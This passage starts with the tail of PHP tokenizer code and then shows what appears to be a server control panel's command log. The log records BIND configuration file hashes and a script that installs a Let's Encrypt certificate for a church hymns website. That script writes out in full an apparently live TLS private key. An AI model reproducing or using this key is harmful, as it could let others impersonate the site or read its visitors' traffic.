if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 18:13:31:
runuser -l bind -s /bin/bash -c '/tmp/pkp122116; rm /tmp/pkp122116'
2026-01-03 18:13:31:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 18:14:11: Establishing a connection
2026-01-03 18:14:12: Establishing a connection
2026-01-03 18:14:13:
PUT: /tmp/pkp839001
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_hymns/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-03 18:14:14:
chmod 755 /tmp/pkp839001; /tmp/pkp839001; rm /tmp/pkp839001
2026-01-03 18:14:14:
0
2026-01-03 18:14:48: Establishing a connection
2026-01-03 18:14:49:
PUT: /tmp/pkp723661
#!/bin/bash
temp_file=$(mktemp)
TARGET=51ff58e8c1fdb83e589e0546356f00d4
cat > $temp_file <<'endmsg'
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-03 18:14:50:
chmod 755 /tmp/pkp723661; /tmp/pkp723661; rm /tmp/pkp723661
2026-01-03 18:14:50:
